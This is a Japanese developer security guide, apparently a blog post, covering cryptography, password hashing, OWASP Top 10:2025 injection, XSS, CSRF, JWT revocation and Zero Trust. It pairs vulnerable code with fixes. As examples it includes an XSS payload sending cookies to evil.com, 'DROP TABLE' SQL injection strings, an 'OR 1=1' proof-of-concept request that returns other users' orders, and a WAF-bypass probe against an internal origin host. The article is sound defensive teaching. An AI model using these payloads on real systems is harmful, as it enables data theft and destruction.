LabHub

ブログ

開発者のためのセキュリティ完全ガイド — 暗号化からZero Trustまで

한국어English日本語

Security Fundamentals

はじめに

「セキュリティはセキュリティチームの仕事では?」— いいえ。コードを書くすべての開発者がセキュリティの最前線です。

SQL Injection一つで数百万件の個人情報が漏洩し、XSS一つでユーザーセッションが乗っ取られます。この記事では、開発者が必ず知っておくべきセキュリティ概念を総まとめします。

この記事が根拠とする文書

セキュリティ記事のいちばんよくある失敗は、出典のないチェックリストになることです。「SQL InjectionはPrepared Statementで防ぐ」という文は半分しか正しくなく、残り半分は条件次第です。そこで、引用する基準文書を先に固定しておきます。

OWASPのプロジェクトページによれば、現在リリースされている最新版はOWASP Top 10:2025です。この記事で「Top 10」と書いたら2025年版を指し、2021年版を引くときはその旨を明記します。版が変わればカテゴリ名も順序も変わるので、社内のセキュリティガイドに「OWASP Top 10準拠」とだけ書いてある場合、その一文はどの版を指すのか分からず事実上ほとんど意味がありません。

OWASP Top 10:2025 (2026-08-16 確認)

A01:2025  Broken Access Control
A02:2025  Security Misconfiguration
A03:2025  Software Supply Chain Failures
A04:2025  Cryptographic Failures
A05:2025  Injection
A06:2025  Insecure Design
A07:2025  Authentication Failures
A08:2025  Software or Data Integrity Failures
A09:2025  Security Logging & Alerting Failures
A10:2025  Mishandling of Exceptional Conditions

以下で扱う脆弱性はこの表に次のように対応します。SQL InjectionもXSSも、どちらもA05:2025 Injectionです。XSSを別の種類として覚えていたなら修正が必要です。A05のカテゴリ文書はインジェクションを、信頼できないユーザー入力がインタープリター(ブラウザ、データベース、コマンドラインなど)へ渡り、その入力の一部が命令として実行されてしまうアプリケーションの欠陥と定義し、マッピングされたCWE一覧にXSS(CWE-79)を含めています。IDORはA01:2025 Broken Access Controlに属し、その文書は固有識別子を渡すことで他人のアカウントを閲覧・編集できてしまうことを失敗例として明記しています。

プロトコル水準の主張は仕様そのものを確認しました。CookieのSameSite属性はIETFのCookie仕様ドラフトで定義されています。Zero TrustはNIST SP 800-207 "Zero Trust Architecture"(2020年8月発行)を基準文書とします。確認したURLは最後の参考資料の節にすべて記載しました。

先に1つ断っておきます。この記事に出てくるパラメータ値はすべて上記の文書から実際に読んだ値で、読めなかった値は「文書で確認してください」と書いています。セキュリティ記事で記憶に頼って数値を書くのは、それ自体が脆弱性です。

Part 1: 暗号化(Cryptography)

共通鍵暗号化(AES)

from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# === Fernet(シンプルな共通鍵)===
key = Fernet.generate_key()
f = Fernet(key)

plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext  # ✅

# === AES-256-GCM(本番標準)===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12)  # 96ビットnonce(毎回新しく!)

# 暗号化 + 認証(AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata")  # 復号 + 完全性検証
共通鍵: 同じ鍵で暗号化/復号
メリット: 高速(AES-256:1 GB/s)
デメリット: 鍵配送問題(どうやって安全に鍵を共有するか?)
用途: データ暗号化、ディスク暗号化、TLSデータ転送

公開鍵暗号化(RSA、ECDSA)

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# 鍵ペア生成
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

# 暗号化(公開鍵で)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

# 復号(秘密鍵で)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
))
assert plaintext == message  # ✅
公開鍵暗号: 公開鍵(暗号化)+ 秘密鍵(復号)
メリット: 鍵交換問題を解決(公開鍵は公開してOKデメリット: 遅い(RSA:1 KB/s、AES1000倍遅い)
用途: TLS鍵交換、電子署名、SSH認証

ハッシング(Hashing)— パスワード保存

import hashlib
import bcrypt

# 絶対にやってはいけないこと: 平文保存
password = "mypassword123"

# NG: 単純ハッシュ(レインボーテーブル攻撃に脆弱)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()

# OK: bcrypt(ソルト + 遅いハッシング = 安全!)
salt = bcrypt.gensalt(rounds=12)  # ソルト生成(2^12回反復)
hashed = bcrypt.hashpw(password.encode(), salt)

# 検証
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"パスワード一致: {is_valid}")  # True

# bcryptが安全な理由:
# 1. ソルト: 同じパスワードでも異なるハッシュ → レインボーテーブル無効化
# 2. 遅い: 意図的に遅くしてブルートフォース防御(GPU攻撃防御)
# 3. rounds調整: ハードウェアの進化に合わせて難易度を上げられる

TLSハンドシェイク(HTTPS)

[Client]                          [Server]
    │                                │
    │── ClientHello ────────────────▶│  対応暗号スイート一覧
    │                                │
    │◀── ServerHello + 証明書 ───────│  選択された暗号 + サーバー証明書
    │                                │
    │  サーバー証明書検証(CA チェーン) │
    │                                │
    │── Key Exchange ───────────────▶│  ECDHE公開値
    │◀── Key Exchange ───────────────│  サーバーECDHE公開値
    │                                │
    ╔════════════════════════════════╗
    ║  両者が同じ共通鍵を導出!        ║
      (Diffie-Hellman)    ╚════════════════════════════════╝
    │                                │
    │◄══ AES-256-GCM 暗号化通信 ══▶│

Part 2: Webセキュリティ(OWASP Top 10)

SQL Injection

# NG: 危険なコード
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# → SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# → テーブル削除!

# OK: パラメータバインディング(Prepared Statement)
cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (username,)  # 入力をデータとしてのみ扱い、SQLとして解釈しない
)

# OK: ORM使用(SQLAlchemy、Django ORM)
user = User.query.filter_by(username=username).first()

XSS(Cross-Site Scripting)

# NG: 危険なコード(ユーザー入力をそのまま出力)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

# HTMLにそのまま挿入すると:
html = f"<div>{comment}</div>"
# → Cookie窃取!

# OK: HTMLエスケープ
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# → &lt;script&gt;...(実行されない)

# OK: CSP(Content Security Policy)ヘッダー
# Content-Security-Policy: script-src 'self'; object-src 'none';

CSRF(Cross-Site Request Forgery)

# 攻撃: ユーザーがログイン状態で悪意あるサイトを訪問
# 悪意あるサイトに隠されたフォームが自動的に銀行振込リクエストを送信!

# OK: CSRFトークン防御
from flask import Flask, session
import secrets

app = Flask(__name__)

@app.route('/transfer', methods=['POST'])
def transfer():
    # トークン検証
    if request.form['csrf_token'] != session['csrf_token']:
        abort(403)  # CSRF攻撃をブロック!

    # 正常処理
    process_transfer(request.form)

# OK: SameSite Cookie
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly

認証/認可の脆弱性

# NG: IDOR(Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
    return User.query.get(user_id).to_dict()
    # user_idを変更すると他人の情報が閲覧可能!

# OK: 権限チェック追加
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
    if current_user.id != int(user_id) and not current_user.is_admin:
        abort(403)  # 権限なし!
    return User.query.get(user_id).to_dict()

防御策には必ず条件がつきます

「Xを使いましょう」で終わる文は、たいてい後半が切れています。どんな防御策にも成立する条件と崩れる条件があり、条件を知らないまま適用した防御策は「守られている」という感覚だけを残します。Part 2で紹介した防御策それぞれに、その条件をつけていきます。

パラメータバインディングが防ぐものと防げないもの

パラメータバインディングは値が入る場所を守ります。ドライバがクエリのテキストとデータを分けて送るので、その場所の入力はSQLの構文として解釈されません。先ほどの例でユーザー名がどれだけ物騒でも安全なのはこのためです。

崩れる条件は明確です。バインド変数を使えない場所があります。OWASP SQL Injection Prevention Cheat Sheetは、テーブル名、カラム名、ソート順の指示子(ASCまたはDESC)をその例として挙げ、こうした部分には入力検証かクエリの再設計がもっとも適切な防御だと述べています。具体的な方法として、ユーザー入力をあらかじめ決めておいた正当なテーブル名やカラム名にマッピングすることを勧めています。つまり許可リストです。

同じ文書は一次防御を順に列挙します。Prepared Statements(パラメータ化クエリ)、Stored Procedures、許可リストによる入力検証、そしてユーザー入力のエスケープです。最後の項目には強く推奨しないという但し書きがついています。エスケープを一次防御にしているなら、それ自体が点検対象だということです。

# ORDER BY の位置はバインドできない → 許可リストでマッピングする
SORT_COLUMNS = {
    "created": "created_at",
    "amount": "total_amount",
    "status": "status",
}
SORT_DIRECTIONS = {"asc": "ASC", "desc": "DESC"}


def list_orders(customer_id: str, sort: str, direction: str):
    # ユーザー入力はキーとしてのみ使う。値はこちらが書いた定数。
    column = SORT_COLUMNS.get(sort)
    order = SORT_DIRECTIONS.get(direction)
    if column is None or order is None:
        raise ValueError("並び順の指定が不正です")

    # 値の位置はバインド、識別子の位置は許可リスト由来の定数
    sql = f"SELECT * FROM orders WHERE customer_id = %s ORDER BY {column} {order}"
    cursor.execute(sql, (customer_id,))
    return cursor.fetchall()

このコードにはユーザー入力がSQLテキストへ直接入る経路がありません。入力は辞書のキーとしてしか使われず、実際にSQLへ入る文字列はすべてソースに書いた定数です。許可リストが安全なのは「危険な文字を除いたから」ではなく「ユーザー入力がそもそもクエリテキストにならないから」です。

出力エンコーディングはコンテキストごとに違います

XSS対策でもっとも頻繁に切り落とされる後半がこれです。OWASP Cross Site Scripting Prevention Cheat SheetのOutput Encoding Rules Summaryは、コンテキストごとに異なるエンコーディングを指定します。

HTML本文        HTMLエンティティエンコーディング
                &&amp;   <&lt;   >&gt;   " → &quot;   ' → &#x27;

HTML属性        すべての文字を &#xHH; 形式でエンコード(空白を含む)
                HH は該当文字のUnicode16進値

JavaScript      すべての文字を \uXXXX のUnicode形式でエンコード
                XXXX はUnicodeコードポイントの16進値

URL             W3C仕様の標準的なパーセントエンコーディングで値をエンコード

CSS             \XX と \XXXXXX の両形式に対応(空白または0埋めを考慮)

つまり「HTMLエスケープしたから安全」という文はHTML本文コンテキストでのみ真です。同じ値がスクリプトブロックの中、属性値の中、あるいはURLの位置へ移れば別のエンコーディングが必要になります。同じ文書は、JavaScriptコンテキストで変数を置ける唯一の安全な場所は引用符で囲まれたデータ値の中であり、それ以外のコンテキストはすべて安全ではないと明言しています。

さらに重要なのは、同じ文書が出力エンコーディングは完全ではなくXSSを常に防げるわけではないと明記している点です。文書はスクリプトタグの中、CSS、JavaScriptのイベントハンドラを危険なコンテキストとして分類しています。ユーザー入力がそうした場所に入る必要があるなら、エンコーディングを悩む前に設計を変えるほうが正解です。

フレームワークを使えば自動的に安全になるわけでもありません。同じ文書は、ReactのdangerouslySetInnerHTMLをサニタイズせずに使うなど、フレームワークを安全でない形で使うと問題が起きうると指摘しています。フレームワークの既定のエスケープは既定の経路にだけ効き、脱出口は名前のとおり脱出口です。

CSRFトークンとSameSite Cookieは代替関係ではありません

同期トークンパターンは1つの前提の上に立っています。攻撃者がそのトークンをクロスオリジンで読めないことです。OWASP Cross-Site Request Forgery Prevention Cheat Sheetは、隠しフォームフィールドよりもJavaScriptでカスタムHTTPリクエストヘッダーにトークンを入れるほうが安全だと述べています。カスタムヘッダーの付いたリクエストは自動的に同一オリジンポリシーの対象になるからです。

# サーバーが返すCookie(多層防御の1層)
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly

# SameSite=None を使うには Secure が必須(仕様がそう規定している)
Set-Cookie: session=abc; SameSite=None; Secure; HttpOnly

# 実際のCSRF防御はこちら(カスタムヘッダー + サーバー側検証)
POST /transfer HTTP/1.1
X-CSRF-Token: 8f2c...JavaScriptが付ける。クロスオリジンからは付けられない

同じチートシートのもっとも重要な一文はこれです。SameSiteは多層防御の統制としては有用だが、ほとんどのデプロイにおいて適切なCSRF防御を置き換えるものではありません。SameSiteを有効にしたからトークンを外してよい、という結論を文書は支持していません。

ブラウザの既定値も前提にしてはいけません。同じ文書は、Chromeが2020年にSameSite=Laxを既定の挙動として実装し、FirefoxとEdgeが続いたと記す一方で、古いブラウザの利用者はSameSite値が設定されていないかのように振る舞うCookieを受け取る可能性があると警告しています。防御をブラウザの既定値に乗せると、守られているかどうかが利用者のブラウザのバージョン次第になります。

仕様側も確認しました。IETFのCookie仕様ドラフト(draft-ietf-httpbis-rfc6265bis-22、Internet-Draft、2025年12月1日公開)はSameSite属性を、Cookieがsame-siteリクエストにのみ添付されるよう範囲を制限するものと定義し、Strictはsame-siteリクエストにのみ、Laxはsame-siteリクエストとクロスサイトのトップレベルナビゲーションに、Noneは両方に送られると規定しています。3つの既知キーワード以外の値が来た場合はLaxに相当する既定の適用モードが使われます。same-siteフラグがNoneのCookieは、secure-onlyフラグが真でなければCookieごと無視されます。そして同じ文書は、Laxの適用がPOSTのようなunsafeメソッドに依存するCSRFに対しては妥当な多層防御を提供するが、CSRFという攻撃カテゴリ全般に対する堅牢な防御ではないと明記しています。

広く使われるdouble submit cookieパターンについてもチートシートは率直です。素朴な形のdouble submitはCookieインジェクション攻撃に脆弱であり、特に攻撃者がサブドメインを支配していたり、Cookieを植え付けたり上書きできるネットワーク環境では危険だと述べています。

最後に、同じ文書が大文字で強調している一文があります。XSSはすべてのCSRF緩和策を無効化しうる、というものです。XSSが残っている状態でCSRFトークンの方式を議論するのは順序が違います。

パスワードハッシング: アルゴリズムの系統とパラメータ

OWASP Password Storage Cheat Sheetが実際に推奨している値をそのまま書き写します。以下の数値はすべてその文書から読んだもので、文書が更新されれば変わります。

# 第1候補: Argon2id
#   最小構成 — メモリ 19 MiB、反復回数(iteration)2、並列度(parallelism)1
#   文書が同等のセキュリティとして挙げる代替の組み合わせ:
#     m=47104 (46 MiB), t=1, p=1
#     m=19456 (19 MiB), t=2, p=1
#     m=12288 (12 MiB), t=3, p=1
#     m=9216  ( 9 MiB), t=4, p=1
#     m=7168  ( 7 MiB), t=5, p=1

# 第2候補: scrypt(Argon2idが使えない場合)
#   最小CPU/メモリコストパラメータ 2^17、最小ブロックサイズ 8(1024バイト)、並列化 1

# レガシーシステム: bcrypt
#   work factor 10 以上、パスワード長の上限 72バイト

# FIPS-140準拠が必要な場合: PBKDF2
#   work factor 600,000 以上、内部ハッシュ関数は HMAC-SHA-256

ソルトについては、パスワードごとに一意にランダム生成されなければならないと明記されています。ただし今回読んだページではソルトのバイト長の推奨値は確認できませんでした。推奨パラメータはOWASP Password Storage Cheat Sheetの最新の値を確認してください。ペッパーについては、多層防御として検討する価値はあるものの、それ単独では追加のセキュリティ特性を提供しないと書かれています。

前の節の例にあるbcryptのrounds値は上記の基準(work factor 10以上)を満たしています。ただし同じ文書がbcryptをレガシーシステム向けに分類している点も併せて見る必要があります。新規に作るシステムならArgon2idが第1候補です。そしてbcryptの72バイト制限は実際に事故を起こします。長いパスフレーズを推奨しながらbcryptを使うと、72バイトから先は静かに無視され、利用者はその事実を知りようがありません。

これらの値はハードウェアが速くなれば上がります。コードに定数で埋め込まず設定に出しておき、ログイン成功の直後に保存済みハッシュのパラメータが現在の基準より低ければ新しいパラメータで再ハッシュして保存する経路を用意しておくと、後で一括移行をせずに済みます。

脆弱なエンドポイントを1つ直してみる

ここまでの条件を実際のコード1つに適用してみます。注文検索のエンドポイントで、2か所が同時に間違っています。検索語が値の位置に文字列連結され、ソートカラムが識別子の位置に文字列連結されています。以下のペイロードは脆弱性の有無を確認するための無害な概念実証であり、自分が権限を持つ環境でのみ試してください。

# ❌ 脆弱なバージョン — Flask + psycopg2
@app.route("/api/orders")
@login_required
def search_orders():
    q = request.args.get("q", "")
    sort = request.args.get("sort", "created_at")

    sql = (
        "SELECT id, customer_id, total_amount, status, created_at "
        "FROM orders "
        f"WHERE customer_id = '{current_user.id}' AND memo LIKE '%{q}%' "
        f"ORDER BY {sort} DESC LIMIT 50"
    )
    cursor.execute(sql)
    return jsonify([dict(zip(COLUMNS, row)) for row in cursor.fetchall()])

攻撃は1行で足ります。q の値にシングルクォートを1つ入れて文字列リテラルを閉じ、常に真になる条件を足すと、customer_id の条件まで無効化されます。

GET /api/orders?q=%25%27%20OR%201%3D1%20--%20 HTTP/1.1
Host: shop.example.com
Cookie: session=<自分の正規セッション>

# デコードすると q = %' OR 1=1 --
# サーバーが組み立てるSQL:
#   ... WHERE customer_id = 'u-1042' AND memo LIKE '%%' OR 1=1 -- %' ORDER BY ...
# AND のあとに OR が付くことで条件全体が真になる

HTTP/1.1 200 OK
Content-Type: application/json

[{"id":"o-1","customer_id":"u-0001", ...},   ← 他人の注文
 {"id":"o-2","customer_id":"u-0002", ...},
 ... 50件 ...]

ここで2つのことが同時に見えます。これはA05:2025 Injectionであり、結果として他のユーザーのデータが露出したのでA01:2025 Broken Access Controlの影響範囲でもあります。インジェクション1つがアクセス制御を丸ごと迂回する典型的な形です。

修正は2か所をそれぞれ違うやり方で直します。値はバインド、識別子は許可リストです。

# ✅ 修正したバージョン
SORT_COLUMNS = {
    "created": "created_at",
    "amount": "total_amount",
    "status": "status",
}


@app.route("/api/orders")
@login_required
def search_orders():
    q = request.args.get("q", "")
    sort_key = request.args.get("sort", "created")

    column = SORT_COLUMNS.get(sort_key)
    if column is None:
        return jsonify({"error": "unsupported sort key"}), 400

    sql = (
        "SELECT id, customer_id, total_amount, status, created_at "
        "FROM orders "
        "WHERE customer_id = %s AND memo LIKE %s "
        f"ORDER BY {column} DESC LIMIT 50"
    )
    # customer_id はリクエストではなくセッションから取る(A01対応)
    cursor.execute(sql, (current_user.id, f"%{q}%"))
    return jsonify([dict(zip(COLUMNS, row)) for row in cursor.fetchall()])

同じリクエストを修正版に投げ直します。

GET /api/orders?q=%25%27%20OR%201%3D1%20--%20 HTTP/1.1
Host: shop.example.com
Cookie: session=<自分の正規セッション>

HTTP/1.1 200 OK
Content-Type: application/json

[]
# ペイロード全体が LIKE のパターン文字列としてのみ扱われる。
# "%' OR 1=1 --" という文字列を memo に含む注文はないので空配列。

GET /api/orders?sort=created_at;DROP%20TABLE%20orders HTTP/1.1

HTTP/1.1 400 Bad Request
{"error":"unsupported sort key"}
# 許可リストにないキーはSQLの近くにも行かない。

修正の前後を分けるのは「危険な文字を除いたか」ではありません。「ユーザー入力がSQLテキストになりうる経路が残っているか」です。この問い1つでコードレビューの段階でインジェクションの大半を捕まえられます。

Part 3: Zero Trustアーキテクチャ

従来のセキュリティ: 「城壁の中は安全」(Castle & Moat)
  [インターネット] ──[ファイアウォール]── [内部ネットワーク: 全員信頼]
  → 内部侵入時に無防備!

Zero Trust: 「誰も信頼しない」
  [すべてのリクエスト][認証][認可][暗号化][モニタリング]
  → 内部でも外部でも毎回検証!

Zero Trustの原則

1. Verify Explicitly(明示的検証)
   → すべてのリクエストに認証 + 認可(場所/ネットワーク不問)

2. Least Privilege(最小権限)
   → 必要なものだけ、必要な時間だけアクセス許可
JIT(Just-In-Time)権限付与

3. Assume Breach(侵害前提)
   → すでに侵害されていると仮定して設計
   → マイクロセグメンテーション、暗号化、モニタリング
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-policy
spec:
  podSelector:
    matchLabels:
      app: api-server
  policyTypes:
    - Ingress
    - Egress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app: frontend # フロントエンドからのみアクセス許可
      ports:
        - port: 8080
  egress:
    - to:
        - podSelector:
            matchLabels:
              app: database # DBへのアクセスのみ許可
      ports:
        - port: 5432
  # その他すべてのトラフィック: ブロック!

セキュリティチェックリスト

[認証/認可]
- bcrypt/Argon2でパスワードハッシング(SHA256単独使用禁止)
- JWT署名検証 + 有効期限設定
- OAuth 2.0 PKCESPA/モバイル)
- MFA(多要素認証)導入
- Rate Limiting(ブルートフォース防御)

[入力検証]
- SQL Injection: Prepared Statement / ORM
- XSS: HTMLエスケープ + CSPヘッダー
- CSRF: SameSite Cookie + CSRFトークン
- Path Traversal: ファイル名検証
- SSRF: 内部IPブロック

[通信/保存]
- HTTPS必須(TLS 1.3- HSTSヘッダー
- 機密データ暗号化(AES-256-GCM- シークレット管理: Vault / AWS Secrets Manager
- ログにパスワード/トークンを絶対に記録しない

[インフラ]
- Zero Trustネットワーク
- コンテナイメージスキャン(Trivy)
- 依存関係の脆弱性スキャン(Dependabot)
- WAF(Web Application Firewall)
- 侵入検知/モニタリング

失敗事例と落とし穴

WAFルールだけ追加してコードはそのまま

まず症状から。スキャナのレポートから警告が消え、ダッシュボードにはブロック件数が出ます。ところが脆弱なコードは1行も変わっておらず、チケットは完了で閉じられています。

診断はこの順で行います。1つ目、WAFを通らない経路で同じリクエストを送ります。サービス間の内部呼び出し、別ドメインの管理者ポータル、バッチジョブ、ロードバランサーの背後のオリジンに直接届く経路がないか確認します。2つ目、ペイロードのエンコーディングとパラメータの位置を変えてみます。同じ意味のリクエストが別の表現で通るなら、ルールが止めているのは脆弱性ではなく特定の文字列パターンです。3つ目、リポジトリでもとの脆弱な行がそのままか確認します。

# 1) WAF を通る経路
GET /api/orders?q=...  HTTP/1.1
Host: shop.example.com               → 403 (ブロック)

# 2) オリジンへ直接(内部網、ステージングドメイン、管理者ホストなど)
GET /api/orders?q=...  HTTP/1.1
Host: origin-1.internal:8080         → 200 (依然として脆弱)

# 2つの応答が違うなら、止まっていたのは「その経路を通るリクエスト」だけで、
# 脆弱性そのものはコードに残っているということ。

処方は単純です。WAFは修正がデプロイされるまで時間を稼ぐ代償統制として扱い、チケットの状態を「WAFルール適用」と「コード修正」の2行に分けて管理することです。WAFが無意味だという話ではありません。ただ、ルールがリクエストの1つの表現を止めている間も脆弱性はコードに残り、迂回経路はたいてい存在します。

ハッシュはしたがソルトがグローバル定数

症状はデータベースからそのまま見えます。パスワードハッシュのカラムをグループ化すると、同じ値が複数のアカウントに現れます。コードにはモジュールレベルのソルト定数が1つあり、すべてのハッシュがその値を使っています。

診断はクエリ1行から始まります。重複ハッシュが1件でも出れば、ソルトがアカウントごとに異なっていないということです。次にコードでソルト生成の呼び出しがリクエストごとに実行されているか、モジュール読み込み時に一度だけ実行されているかを確認し、最後に保存されたハッシュ文字列の中にアルゴリズムとパラメータ、ソルトが一緒に入っているかを見ます。

-- 重複ハッシュが出るなら、ソルトがパスワードごとに一意でない合図
SELECT password_hash, COUNT(*) AS accounts
FROM   users
GROUP  BY password_hash
HAVING COUNT(*) > 1
ORDER  BY accounts DESC
LIMIT  20;

処方の核心はソルトを自分で扱わないことです。OWASP Password Storage Cheat Sheetは、ソルトはパスワードごとに一意にランダム生成されなければならないと明記しています。Argon2idやbcryptのようなパスワードハッシング関数はソルトを自ら生成し、アルゴリズムとパラメータとともに結果文字列に埋め込みます。アプリケーションコードにソルト定数が見えるなら、それ自体が誤った層で仕事をしている合図です。

グローバルなソルトをペッパーと呼ぶことがありますが、両者は違います。ペッパーはデータベースの外、たとえば鍵管理システムに保管される別の秘密です。同じ文書もペッパーは多層防御として検討する価値はあるが、それ単独では追加のセキュリティ特性を提供しないと述べています。データベースに一緒に保存される定数はペッパーでもソルトでもありません。

JWTをセッションのように使い、失効経路がない

症状はログアウトのあとに現れます。ログアウトを押したのに、直前に発行されたトークンで保護されたエンドポイントが呼び続けられます。パスワードを変えても、アカウントを停止しても同じです。有効期限が過ぎるまで終わりません。

診断は3段階です。1つ目、ログアウトしたあと直前のトークンで保護されたAPIを呼びます。200が返れば確定です。2つ目、サーバーに無効化したトークンを記録するストアがあるか確認します。なければ失効経路がありません。3つ目、トークン検証コードが受け入れるアルゴリズムを明示的に固定しているか見ます。

OWASP JSON Web Token Cheat Sheetはこの問題を正面から扱っています。JWTはステートレスなユーザーセッション用としてよく提案されるが、ユーザーセッションにJWTを使うならセッション無効化を管理する方法が必要であり、それは失効したセッションとトークンの拒否リストで実現できると述べています。発行者側でスケーラブルに失効させる方法としてはToken Status Listに言及しています。まとめると、ステートレスという利点は失効が不要な間だけ保たれ、ログアウトが必要になった瞬間にサーバー側の状態が戻ってきます。その事実を認めて設計したほうが良いです。

同じ文書は署名検証側の落とし穴も指摘します。一部のJWTライブラリはかつて署名のないJWT、つまりalgがnoneのトークンを既定で受け入れており、その場合は攻撃者が自分でトークンを偽造できました。また一部の実装は、公開鍵デジタル署名用に意図された公開鍵を、MAC検証用の秘密鍵であるかのように受け入れてしまうことがありました。検証時にアルゴリズムをライブラリの判断に任せず許可リストで固定すべき理由です。

# 検証時にアルゴリズムを固定し、失効リストも併せて確認する
import jwt   # PyJWT

def verify(token: str) -> dict:
    claims = jwt.decode(
        token,
        PUBLIC_KEY,
        algorithms=["RS256"],      # トークンの alg ヘッダーを信用しない
        options={"require": ["exp", "jti", "sub"]},
    )
    if revoked_store.contains(claims["jti"]):   # 失効リストの照会
        raise PermissionError("revoked token")
    return claims


def logout(token_claims: dict) -> None:
    # 残りの有効期間だけ保持すればよいのでストアは無限に増えない
    ttl = token_claims["exp"] - int(time.time())
    revoked_store.add(token_claims["jti"], ttl_seconds=max(ttl, 0))

失効リストがあれば完全なステートレスではありません。ただしストアに入るのは有効期限までのトークン識別子だけなので、セッション全体をサーバーに持つよりはるかに軽いです。トレードオフをなくすことはできず、どちらのコストを払うかを選ぶ問題です。

使わないほうがよい場合 / この記事の限界

この記事は開発者向けのオリエンテーションであって、脅威モデルではありません。この違いは形式的なものではありません。

統制は、何を誰から守るのかを知らなければ値付けできません。同じXSSでも社内Wikiでは面倒なバグですが、決済画面では事故です。逆に公開ドキュメントサイトに多要素認証とマイクロセグメンテーションを付けるのは、予算と使い勝手を燃やす行為です。順序は常に資産の特定と脅威の特定が先で、統制はあとです。この記事はその順序の後半だけを扱っています。

鍵管理はこの記事の範囲外です。先の例で鍵を作るコードは2行ですが、実際に難しいのはその鍵をどこに置き、誰がアクセスし、どう更新し、漏れたときに何をするかです。この領域には専門の人材と専用のシステムが必要です。独自の暗号プリミティブを設計するのは古典的な失敗の仕方です。安全なアルゴリズムでも、誤ったモードやnonceの再利用だけで無力化され、その失敗はたいてい静かでテストには現れません。個人情報や決済情報のような規制対象データを扱うなら、法的要件が技術的判断より先に来る地点があり、この記事はその判断を代われません。

前半に出てくるスループットの数値は桁の感覚をつかむための例示です。実際の値はハードウェア、実装、鍵長、動作モードによって大きく変わるので、性能の判断が必要なら自分の環境で測定してください。

Part 3で紹介したZero Trustの3原則は業界で広く使われる要約です。規範文書はNIST SP 800-207 "Zero Trust Architecture" であり、この文書はゼロトラストを、静的でネットワーク境界に基づく防御から、ユーザー・資産・リソース中心へと移行していくサイバーセキュリティパラダイムの集合と定義しています。詳細な原則の一覧は当該文書の本文で確認してください。

最後に、いちばん重要な1行です。チェックリストを通過したことと、システムが安全であることは違います。OWASP Top 10はランキングであって要件仕様ではなく、そこに載っていない脆弱性でもサービスはいくらでも破られます。チェックリストは会話を始めるための道具であって、会話を終わらせるための道具ではありません。

参考資料

すべて2026-08-16に直接確認しました。


クイズ — セキュリティ(クリックして確認!)

Q1. 共通鍵暗号と公開鍵暗号の違いとそれぞれの用途は? ||共通鍵: 同じ鍵で暗号化/復号、高速(AES)— データ転送/保存の暗号化。公開鍵: 公開鍵/秘密鍵のペア、低速(RSA)— 鍵交換、電子署名||

Q2. bcryptがSHA-256よりパスワード保存に安全な理由は? ||1) ソルトでレインボーテーブルを無効化 2) 意図的に遅いハッシングでブルートフォース防御 3) rounds調整で将来のハードウェア進化に対応||

Q3. SQL Injectionの根本原因と防御法は? ||根本原因: ユーザー入力がSQLクエリの一部として解釈される。防御: Prepared Statement(パラメータバインディング)で入力をデータとしてのみ扱う||

Q4. XSSとCSRFの違いは? ||XSS: 攻撃者のスクリプトが被害者のブラウザで実行される。CSRF: 被害者の認証済みセッションで攻撃者が望むリクエストを送信。XSSはクライアントを、CSRFはサーバーを騙す攻撃||

Q5. TLSハンドシェイクで共通鍵と公開鍵がそれぞれ使われる段階は? ||公開鍵: ハンドシェイク段階での鍵交換(ECDHE)。共通鍵(AES): データ転送段階。公開鍵で安全に共通鍵を合意した後、高速な共通鍵で実際の通信||

Q6. Zero Trustの3原則は? ||1) Verify Explicitly: すべてのリクエストを明示的に認証/認可 2) Least Privilege: 最小限の権限のみ付与 3) Assume Breach: すでに侵害されていると仮定して設計||

Q7. HSTSヘッダーの役割は? ||ブラウザに対して該当ドメインはHTTPSでのみアクセスするよう指示。HTTPからHTTPSへのリダイレクト中に発生しうる中間者攻撃を防止||

クイズ

Q1: 「開発者のためのセキュリティ完全ガイド — 暗号化からZero Trustまで」の主なトピックは何ですか?

共通鍵・公開鍵暗号化、ハッシング、TLSハンドシェイク、OWASP Top 10、SQL Injection、XSS、CSRF、Zero Trustアーキテクチャまで。開発者が必ず知っておくべきセキュリティ概念をコード付きで整理します。

Q2: Part 1: 暗号化(Cryptography)とは何ですか? 共通鍵暗号化(AES) 公開鍵暗号化(RSA、ECDSA) ハッシング(Hashing)— パスワード保存 TLSハンドシェイク(HTTPS)

Q3: Part 2: Webセキュリティ(OWASP Top 10)の核心的な概念を説明してください。 SQL Injection XSS(Cross-Site Scripting) CSRF(Cross-Site Request Forgery) 認証/認可の脆弱性

